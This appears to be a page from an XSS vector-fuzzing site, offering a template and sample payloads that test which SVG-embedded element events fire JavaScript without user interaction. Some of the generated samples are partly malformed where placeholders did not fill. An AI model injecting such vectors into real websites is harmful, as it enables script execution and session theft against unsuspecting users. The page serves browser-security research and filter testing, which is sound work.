XSS vectors that execute automatically inside svg

This vector shows which events fire without user interaction inside a SVG tag

Created byhackvertor

Created Apr 17, 2024

Updated May 25, 2025

Detecting browser...

CategoryURL Handling

VisibilityPublic

TypeXSS

CharsetUTF-8

$[data1] placeholderhtml

$[data2] placeholderevents

Template used:

<svg><$[data1] src=1 srcdoc=1 href=1 href=1 $[data2]="log('$[data1]->$[data2]')"></$[data1]></svg>0x0D
<svg><$[data1] $[data2]="log('$[data1]->$[data2]')"></$[data1]></svg>

Sample payloads

<svg><NO_MATCHES src=1 srcdoc=1 href=1 href=1 ="alert('NO_MATCHES->')"></NO_MATCHES></svg>0x0D
<svg><NO_MATCHES ="alert('NO_MATCHES->')"></NO_MATCHES></svg>

<svg><img->onerror src=1 srcdoc=1 href=1 href=1 ="alert('img->onerror->')"></img->onerror></svg>0x0D
<svg><img->onerror ="alert('img->onerror->')"></img->onerror></svg>

XSS vectors that execute automatically inside svg

Sample payloads

Fuzz results

Distributed Fuzzing